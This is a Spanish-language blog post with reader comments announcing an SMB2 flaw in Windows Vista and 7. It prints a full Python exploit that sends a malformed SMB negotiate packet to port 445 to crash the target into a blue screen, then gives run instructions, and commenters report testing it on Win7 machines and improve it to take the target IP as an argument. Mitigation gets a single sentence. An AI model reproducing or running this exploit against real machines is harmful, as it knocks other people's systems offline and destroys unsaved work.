Nueva vulnerabilidad en windows

Se detectó una nueva y muy grave vulnerabilidad en el sistema operativo de Micro$oft que afecta las versiones “Vista” y “Seven”. La misma es una falla en SMB2 y permite colapsar remotamente un equipo, haciéndolo mostrar la famosa blue screen of death y obligándolo a reiniciarse, obviamente perdiendo toda la información de la sesión.
El script para explotar dicha vulnerabilidad está escrito en Python y es el siguiente:
#!/usr/bin/python # When SMB2.0 recieve a "&" char in the "Process Id High" SMB header # PAGE_FAULT_IN_NONPAGED_AREA import sys from socket import socket from time import sleep host = sys.argv[1], 445 buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: --> normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket() s.connect(host) s.send(buff) s.close()
Para ejecutarlo, creamos un archivo script.py pegamos el script de arriba dentro del mismo. Hay que modificar donde dice “IP_ADDR” por la dirección IP de la máquina objetivo y lo guardamos.
Luego damos permisos de ejecución al script desde una terminal con:
dfa@diego-factory:~$ chmod +x script.py
y lo ejecutamos:
dfa@diego-factory:~$ python script.py [ ip ]
Microsoft no tiene solución aún para este problema, por lo que lo único que pueden hacer los tristes usuarios de Windows para evitar abusos es desactivar SMB2 o en todo caso, cerrar el puerto 445 o mejor aún, instalar en sus computadoras un sistema operativo libre y seguro.
La fuente original del exploit y la noticia en general me llegó gracias a tty0.
jajaja
q copado..
ya falta poco para mi gran cambio
A proposito que fácil se codean los exploits en python, antes había que ponerse a escribir en C un raaaaato largo y probar mucho más.
Si ArYiX… Python es una bestia! muy simple, muy potente. ;)
Lo probe ayer contra un Win7 y no funciono (aunque en la review que yo lei decia que funcionaba tanto con Vista como con 7).
Alguien lo probo exitosamente contra un VIsta parchado?
Goico: no te olvides de que la mayoría de los proveedores de internet bloquean los puertos de windows (139 y 445) para proteger a los windozos y que todo el mundo no se ponga a mandarles cosas a las impresoras, así que seguramente este ataque no funcione por internet.
¿y no sería mejor reemplazar
host = “IP_ADDR”, 445
por
import sys
host = sys.argv[1], 445
?
Yo lo probé por LAN en dos máquinas distintas con seven y funciona. Por Internet no lo probé, pero si haces un escaneo de puertos a la IP y el 445 está a la escucha, debería funcionar…
Si anv , buen aporte, ya lo modifico.
La modificación que plantea anv es para en vez de “hardcodear” la IP objetivo dentro del código, pasársela como parámetro al script.